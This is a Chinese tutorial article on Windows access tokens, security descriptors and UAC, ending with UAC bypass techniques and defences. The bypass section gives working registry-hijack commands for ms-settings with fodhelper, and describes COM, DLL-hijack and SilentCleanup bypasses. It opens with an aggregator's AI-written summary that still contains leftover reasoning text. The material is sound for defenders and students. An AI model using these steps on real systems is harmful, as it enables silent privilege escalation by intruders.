windows权限管理、UAC原理、以及Bypass总结
嗯,用户让我帮忙总结一下这篇文章的内容,控制在100字以内。首先,我需要通读整篇文章,理解其主要观点和结构。 文章主要讨论了Windows的权限管理机制,包括访问令牌(Access Token)和安全描述符(SD)。访问令牌包含了进程的安全上下文信息,分为主令牌和模拟令牌。主令牌在进程创建时从父进程或登录会话继承而来,包含用户、组、特权等信息。安全描述符则定义了对象的访问控制列表(DACL)和系统审计控制列表(SACL),以及完整性级别(IL)。 接下来,文章详细介绍了UAC(用户账户控制)机制。UAC通过拆分管理员令牌为标准用户令牌和完整管理员令牌来限制普通用户的权限,默认情况下标准用户令牌具有中等完整性级别(Medium IL),而完整管理员令牌具有高完整性级别(High IL)。这种机制防止恶意软件随意破坏系统。 文章还讨论了UAC绕过的方法,包括利用Shell协议、COM组件、DLL劫持以及计划任务等技术。这些方法通常利用系统中的白名单进程或特定的加载顺序来获取高权限而不触发UAC提示。 最后,文章总结了防御措施,建议启用UAC的“始终通知”模式、缩小白名单范围、禁用非必要的自动提升组件,并升级系统以移除已知的绕过漏洞。 综合来看,这篇文章深入探讨了Windows权限管理的核心机制及其在安全防护中的应用与挑战。 </think> Windows权限管理分为访问令牌和安全描述符两部分。访问令牌包含进程的安全上下文信息,如用户、组、特权等;安全描述符定义对象的访问控制列表和审计规则。UAC通过拆分管理员权限为标准用户令牌和完整管理员令牌来限制普通用户的权限,默认情况下标准用户令牌具有中等完整性级别。文章还讨论了UAC绕过的方法及其防御措施。 2025-12-26 14:45:0 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

在日常运行某些程序时,如果出现一些 bug,我们会尝试右键,点击以管理员的身份运行,然后问题就解决了,而很多应用在双击的时侯,会直接弹出窗口,让我们点击确认,即使我们当前登录的就是管理员账号,这背后到底有什么秘密,看完这篇文章,相信一切都会明白的。

windows 的权限管理整体上来说,分为两部分,Access Token(访问令牌) 和 SD(安全描述符),Access Token 表示当前进程所具备的权限,而 SD 表示访问当前资源所需的操作权限,类似操作系统中的 CPL 和 DPL。

一、Access Token:访问令牌

访问令牌(Access Token)是进程或线程的“安全身份证”,包含其安全上下文信息。可以分为主访问令牌(进程级令牌)和模拟令牌(线程级令牌)。

每个一个进程都有一个主访问令牌(Primary Token)这个令牌是在进程创建时从父进程或登录会话继承而来。而令牌内部包含不同类型的权限信息,每一种都对应一个 SID,常见的类型如下:

权限分类说明
TokenUser主用户 SID(如 S-1-5-21-...-1001
TokenGroups所属组列表(含是否启用)
TokenPrivileges特权列表(如 SeDebugPrivilege
TokenIntegrityLevel完整性级别 SID(如 S-1-16-8192
TokenTypeTokenPrimaryTokenImpersonation
TokenElevation是否以管理员身份运行(UAC 相关)
TokenSessionId会话 ID(用于终端服务)

可以使用 OpenProcessTokenGetTokenInformation来查看令牌内容

1.1 TokenUser/TokenGroups

Get-LocalUser | Select Name, SID   #查看所有用户SID
Get-LocalGroup | Select Name, SID
Get-WmiObject Win32_UserAccount | Select Name, SID
whoami /all

表示当前进程所属用户、组信息

S-1-5-21-2352286992-1005746632-3940334147-1000

S-1-5-32-545

  • S:固定字符

  • 1:修订级别

  • 5:颁发机构

  • 21:代表一个具体的用户、组或计算机账户,由 Windows 本地安全账户管理器(SAM)Active Directory创建的用户/组 。

  • 32:系统自带的组

  • 2352286992-1005746632-3940334147:这三个数字共同构成 该计算机(或域)的唯一标识符(Domain SID / Machine SID),也就是说,同一个主机中的所有用户,这一部分是一致的,在本地计算机上,这个三元组是在系统首次安装时由 Windows 随机生成的,全局唯一,域环境中,这三元组由域控制器分配,代表整个域的 SID。

  • 1000:用户 ID

    • RID账户说明
      500Administrator默认管理员(本地)
      501Guest来宾账户
      502KRBTGTKerberos 服务账户(域)
      512Domain Admins域管理员组(域)
      513Domain Users域用户组
      544Administrators管理员组
      545Users普通用户组
      1000+普通用户/组本地创建的用户从 1000 或 1001 开始递增

1.2 TokenIntegrityLevel

完整性级别 SID:代表进程的访问权限

  • S-1-16-8192(Medium)

具体如下表

名称RID十进制典型场景
Untrusted0x00000
Low0x10004096沙箱(如 IE Protected Mode)、浏览器插件、Office 宏
Medium0x20008192普通用户默认
High0x300012288“以管理员身份运行”的程序
System0x400016384系统服务、驱动

1.3 TokenPrivileges

特权列表,比较重要的是 SeDebugPrivilege特权,拥有此特权的进程可以打开、调试其他进程,很多安全软件、进程注入都是基于此特权的,只有 High IL权限的用户才能有此特权,而且需要通过 AdjustTokenPrivilegesAPI 启用

1.4 Access Token 获取的详细过程

步骤 1:用户输入凭据
  • 用户在登录界面输入 用户名 + 密码

  • Winlogon接收凭据,并将其传递给 LSA

步骤 2:LSA 调用认证包验证身份
  • LSA 加载认证包(如 msv1_0.dll,用于本地账户)

  • 认证包:

    • SAM 数据库中取出该用户的密码哈希

    • 将输入密码哈希后与之比对

    • 验证成功 → 返回用户 SID、所属组、默认特权等信息

步骤 3:LSA 创建 主令牌(Primary Token)
  • 如果用户是 普通用户(非 Administrators 组成员)

    • LSA 直接基于用户信息创建一个 标准访问令牌

      • Integrity Level = Medium

      • 包含用户所属的所有组(如 Users)

      • 包含默认特权(如 SeChangeNotifyPrivilege

  • 如果用户属于 Administrators 组,此时,LSA 会执行 UAC Split Token(令牌拆分)机制:

步骤 3a:创建 完整的管理员令牌(Full Token)
  • 基于用户 SID 和所有组(包括 Administrators

  • 完整特权列表(包括 SeDebugPrivilege, SeTakeOwnershipPrivilege等)

  • Integrity Level = High

步骤 3b:创建 过滤后的标准用户令牌(Filtered Token)

LSA 对完整令牌进行以下过滤:

过滤操作说明
移除高危特权SeDebugPrivilege,SeBackupPrivilege等被完全移除
将 Administrators 组设为 "Deny-only"该组仍存在于令牌中,但仅用于拒绝访问(不能用于授权)
完整性级别降为 MediumIL = Medium(这是 UAC 隔离的关键)
保留普通用户组如 Users、Everyone 等

注意:这个 Filtered Token就是默认用于启动进程的令牌。

步骤 3c:建立 令牌链接(Linked Token)
  • Filtered Token中设置一个指针,指向对应的 Full Token

  • 可通过 API GetTokenInformation(TokenLinkedToken, ...)获取

  • 这是 UAC 提权时能找到“另一个令牌”的关键

步骤 4:启动初始进程(如 Explorer.exe)
  • Winlogon 使用 Filtered Token(Medium IL)启动 userinit.exeexplorer.exe

  • 所有后续从 Explorer 启动的程序(双击 EXE、命令行等)继承此令牌

二、SD:安全描述符

(Get-Acl ./test.txt).Sddl  #导出文件的SDDL信息

SD(Security Descriptor,安全描述符)是实现对象级安全控制的核心数据结构。它定义了谁可以访问某个对象(如文件、注册表项、进程、线程、命名管道等),以及允许或拒绝哪些操作。

一个完整的 SD 通常包含以下四个主要部分(某些可选):

成员说明
Owner SID对象所有者的用户或组 SID
Group SID主要组 SID(在 Windows 中通常忽略)
DACL定义谁可以/不可以对对象执行哪些操作
SACL定义哪些访问行为需要被审计(记录到安全日志)

其中 DACL、SACL、IL 都是基于 ACE 格式实现的

typedef struct _SYSTEM_MANDATORY_LABEL_ACE {
    ACE_HEADER Header;          // AceType = SYSTEM_MANDATORY_LABEL_ACE_TYPE (0x11)
    ACCESS_MASK Mask;           // 通常为 NO_WRITE_UP, NO_READ_UP, NO_EXECUTE_UP
    DWORD SidStart;             // 指向一个 Integrity SID
} SYSTEM_MANDATORY_LABEL_ACE;

2.1 DACL:自主访问控制列表

DACL 是一个 ACE(Access Control Entry,访问控制项)的列表,也是我们右键文件在安全中展示的不同用户的权限信息,ACE 主要的类型如下

类型说明
ACCESS_ALLOWED_ACE允许指定用户/组执行某些操作
ACCESS_DENIED_ACE明确拒绝指定用户/组的某些操作
ACCESS_ALLOWED_OBJECT_ACE针对属性/子对象的细粒度允许(用于 AD)
ACCESS_DENIED_OBJECT_ACE针对属性/子对象的细粒度拒绝
  • O:BAG:S-1-5-21-2352286992-1005746632-3940334147-513D:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2352286992-1005746632-3940334147-1000)

    • O:BA:所属用户

      • BA:Built-in Administrators

    • G:S-1-5-21-2352286992-1005746632-3940334147-513D:所属组

    • (A;ID;FA;;;SY):ACE 格式

      • 第一位:ACE 类型

        • A允许

      • 第二位:继承标志

        • OI= Object Inherit(文件继承)

        • CI= Container Inherit(文件夹继承)

        • ID= OI+ CI

        • IO= Inherit Only(此 ACE 仅用于继承,不作用于当前对象)

        • NP= No Propagate(禁止向下进一步继承)

      • 第三位:文件权限

        • FA:完全控制

        • RX= Read & Execute(读取和执行)

      • 第四位、第五位:用于对象 ACE(Object ACE) 比如 Active Directory 对象、带属性的安全对象等

        • 第四位:指定此 ACE 保护的是对象的哪个“属性”或“子对象类型”

        • 第五位:指定此 ACE 可以被哪些类型的子对象继承

      • 第六位:用户

        • SY:system

2.2 SACL

指定哪些操作会被放入系统日志审核中,默认关闭,需要在地安全策略或组策略中启用了 “审核对象访问”(Audit object access)。

2.3 IL:完整性级别

文件的 IL SYSTEM_MANDATORY_LABEL_ACE的形式,存储在安全描述符的 DACL 中。

默认使用创建文件进程的 IL,而不继承父目录。

  • (ML;;NW;;;S-1-16-8192):完整性标签

    • ML= Mandatory Label

    • NW= No Write up(默认标志,表示“禁止向更高完整性级别写入”)

    • S-1-16-8192= Medium Integrity

Access Token 如何与 SD 交互?

在 Windows Vista 引入了 Mandatory Integrity Control (MIC)机制,用于实现沙箱隔离(如 IE Protected Mode、Edge、Office 宏)。Windows 在 DACL 检查之前,先进行 完整性级别检查

请求者 IL目标对象 IL默认允许的操作
LowMedium读、执行(受限)
LowHigh(完全隔离)
MediumHigh读(部分场景),禁止写/注入
HighSystem通常禁止

关键限制

  • 低完整性进程不能向高完整性进程发送窗口消息(UIPI)

    • 例如模拟点击“确定”绕过 UAC

  • 低完整性进程不能写入高完整性文件/注册表

  • 低完整性进程不能打开高完整性进程的 HANDLE(如 PROCESS_VM_WRITE)

三、UAC:用户账户控制

通过上面的介绍,我们知道了当一个进程的 IL 权限低于目标文件的 IL 时,是无法进行写入等敏感操作的,就算 DACL 允许都不行。为了限制管理员账号的权限,在 Windows Vista 及以后版本中引入了 UAC 机制。

  • 传统 Windows(XP 及以前):管理员登录后,所有程序都拥有完整管理员权限 → 恶意软件可随意破坏系统。

  • UAC 改进:管理员账户(用户账户被加入Administrators 组中)被“拆分”为两个令牌

    • 标准用户令牌(Filtered Token):默认使用,权限受限(Medium IL)

    • 管理员令牌(Full Token):仅在明确提权时使用(High IL)

注意:内置的Administrators 账户是不受UAC控制的,默认拥有High IL 令牌

3.1 双令牌机制(Split Token)

当一个属于 Administrators 组的用户登录时,LSA(Local Security Authority)会创建 两个访问令牌

令牌类型权限特点完整性级别所属组
Standard User Token(过滤令牌)移除了高危特权(如 SeDebugPrivilege),禁用 Administrators 组 SIDMedium (S-1-16-8192)Users + 其他非管理员组
Elevated Token(完整令牌)包含全部特权和 Administrators SIDHigh (S-1-16-12288)Administrators + Users + 所有组

并不是当前账户通过UAC获得了High权限,而是UAC使用 High权限启动了新的进程

3.2 UAC 提示等级

设置非管理员用户管理员用户
始终通知提示输入凭据提示确认
仅当应用尝试更改时通知(默认)提示输入凭据静默同意(不提示)← 默认!
仅当应用尝试更改时通知(无桌面 dimming)同上同上(视觉效果不同)
从不通知自动拒绝提权自动提升(危险!)

注意:默认设置下,管理员运行提权程序不会弹窗!

四、UAC Bypass

绕过前提
  • 用户在 administrator 组

  • UAC 提示等级默认之下,不是始终通知

查看UAC提示等级

注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,有两个关键值

注册表值类型含义
ConsentPromptBehaviorAdminDWORD决定管理员账户的 UAC 行为
EnableLUADWORD是否启用 UAC(1=启用,0=禁用)

ConsentPromptBehaviorAdmin的取值含义:

UAC 等级(图形界面显示)行为说明
0从不通知(最低)管理员静默提权,无提示(不推荐
1(仅 Win7/8 使用)需要凭据(类似标准用户)
2(保留)
3默认(Windows 默认)提示但不锁屏(仅确认)
4(保留)
5始终通知(最高)提示并锁屏(安全桌面)

通过POWERSHELL查看

(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA

4.1 SHELL API

POC
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f 
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe /c start powershell.exe -ep bypass" /f #设置默认值为要执行的命令

1. fodhelper.exe
2. sdclt.exe /kickoffelev
3. C:\Windows\System32\computerdefaults.exe
  • reg 注册表操作

    • /v:指定要操作的键

      • /ve:表示操作的是默认值

    • /t:值的类型

      • RES_ZE:字符串

    • /d:具体的值

    • /f:强制执行

  • powershell

    • -ep-ExecutionPolicy

      • bypass:绕过 PowerShell 执行策略限制(允许运行未签名脚本)

    • -F:脚本路径

    • -Command:后跟要执行的 PowerShell 命令(可多条,用分号 ;分隔)

      • 执行完后自动退出(除非加 -NoExit

漏洞原理

正常情况下,当程序(如 fodhelper.exe)通过 ShellExecute调用 ms-settings:协议时:

  • 如果存在 DelegateExecute值,Windows 会尝试加载对应的 COM 对象(更安全的现代方式)。

  • 如果 不存在或为空,则回退到执行 (Default)值中的命令(旧式 command方式)。

  • 因此清空DelegateExecute,强制 fodhelper.exe走老路径 → 执行 (Default)中的任意命令。

ms-settings是一个自定义协议,被设计处来允许应用程序或脚本通过调用 ms-settings:<页面标识符>快速跳转到 Windows 设置应用中的某个具体面板,无需用户手动导航,因此一些系统设置相关的程序会在启动的时候自动执行ms-settings

  • 默认情况下,ms-settings协议由 HKEY_LOCAL_MACHINE(HKLM)定义,指向安全的系统组件(如 SystemSettings.exe)。

  • 但 Windows 优先检查当前用户的HKEY_CURRENT_USER(HKCU)下是否存在同名协议:如果存在,则 覆盖系统默认行为

因此导致了被利用来进行UAC Bypass

攻击检测
  • 注册表

    • HKCU\Software\Classes\下出现非标准协议(如 ms-settings, mscfile, computerdefaults

    • 存在 Shell\Open\commandDelegateExecute为空

  • 可疑进程树

    • explorer.exe
      └─ fodhelper.exe (High IL) / sdclt.exe
         └─ cmd.exe
            └─ powershell.exe
      

4.2 COM组件

  • ICMLuaUtil:UACme 41

  • MMC20: {49B2791A-B1AE-4C90-9B8E-E868BA8E76CC}

  • MMC10: {1D268049-1EEA-4A5C-B707-01D61D920046}

漏洞原理
  • 即使调用者只有Midlle IL 权限,系统也会自动以 High IL(高权限,管理员)启动该 COM 对象

  • 通过 CoGetObject创建DOM对象

  • 然后使用对象的ShellExec接口(本质上是对 ShellExecuteEx的封装)执行命令

[Medium IL Process] 
        │
        ├── CoGetObject("Elevation:...{CLSID}")
        │
        ▼
[COM Subsystem] → 检查 CLSID 是否 auto-elevate?
                      │
                      ├── 是 → 启动新进程: dllhost.exe (High IL)
                      │           │
                      │           └── 加载 CMSTPLUA.dll
                      │                 │
                      │                 └── 创建 CMLuaUtil 对象
                      │
        ◄────────────── 返回 ICMLuaUtil 接口指针
        │
        └── 调用 ShellExec("cmd.exe")
                │
                ▼
        [High IL cmd.exe] ← 无 UAC 弹窗!

4.3 DLL

漏洞原理
  • DLL伪装

    • 修改 PEB->ProcessParameters->ImagePathName为类似setup.exe

    • 然后触发UAC提权,比如创建一个管理员权限的cmd

      • #构造SHELLEXECUTEINFO结构
        SHELLEXECUTEINFO sei = {0};
        sei.lpFile = L"cmd.exe";
        sei.nShow = SW_SHOW;
        sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;
        sei.lpVerb = L"runas"; // 请求提权
        ShellExecuteEx(&sei);
        
    • AppInfo 服务检查 cmd.exe的父进程(即当前进程)的 ImagePathName发现路径含 "setup.exe"→ 判定为“安装程序”

    • 自动批准提权,不弹 UAC 窗口

  • DLL劫持:wsreset.exe

    • DLL加载顺序一般如下:

      • 可执行文件当前所在目录

      • 系统目录:%SystemRoot%\System32

      • 16位系统目录:%SystemRoot%\System

      • Windows目录:%SystemRoot%

      • 当前工作目录

      • PATH 环境变量中列出的目录

      • 对于一些特殊的DLL:

        • 已知 DLL(KnownDLLs)
          某些核心系统 DLL(如 kernel32.dll, user32.dll)被注册为 KnownDLLs,系统会直接从\System32加载跳过常规搜索顺序,且不会从其他位置加载,以增强安全性和性能。

        • 清单文件(Manifest)或 Side-by-Side (SxS) 组件
          如果程序使用了清单文件指定依赖的 DLL 版本,系统会优先从 WinSxS 缓存中加载。

    • 利用DLL加载的优先级,让指定的进程加载我们伪造的dll

4.4 计划任务

schtasks /delete /tn "name" /f  #删除计划任务
schtasks /query /tn "任务名称" /v /fo list #查看详细内容
C:\Windows\System32\Tasks  #计划任务路径
schtasks /run /tn "MyTask" #立即执行一次任务
schtasks /create /tn "MyStartupTask" /tr "C:\scripts\startup.bat" /sc onstart /ru SYSTEM /rl HIGHEST /f #创建计划任务
参数说明
/tn任务名称(Task Name),支持路径如\MyTasks\MyTask
/tr要运行的程序或命令(Task Run),需用引号包裹(如"C:\test.bat"
/sc计划类型(Schedule):MINUTE,HOURLY,DAILY,WEEKLY,MONTHLY,ONCE,ONSTART,ONLOGON,ONIDLE
/st开始时间(24 小时格式,如14:30
/sd开始日期(YYYY/MM/DD
/ed结束日期
/ri重复间隔(分钟),配合/du使用
/du持续时间(如01:00表示 1 小时)
/f强制创建(覆盖同名任务)
/ru运行任务的用户账户(如SYSTEM,Administrator, 或域用户)
/rp用户密码(若/ru需要密码)
/rl运行级别(仅限 Vista+):LIMITED(默认)或HIGHEST(以最高权限运行)需 UAC 允许
/it仅当用户已登录时交互式运行(常用于 GUI 程序)
漏洞原理
  • SilentCleanup

  • 执行SilentCleanup定时任务时,cleanmgr.exe会读取 HKCU 下的StateFlags0001Actions,因此如果攻击者将恶意命令写入注册表,就可以得到执行

4.6 绕过总结

通过上述这个例子,我们可以发现,Uac Bypass的整体思想,其实就分为两步

  • 找到一个白名单(autoElevate)进程

  • 想办法从他手中拿到shell的控制权

因此响应的防御手段,也是从这两点出发

  • 启动UAC的“始终通知”模式

  • 缩小白名单范围

    • 禁用非必要 auto-elevate 组件(通过组策略或补丁)

    • 升级系统,使用已移除 auto-elevate 的新版 Windows

  • 启用DLL安全加载

  • 必要的话,用户可以不加入本地管理组


文章来源: https://www.freebuf.com/articles/system/463966.html
如有侵权请联系:admin#unsafe.sh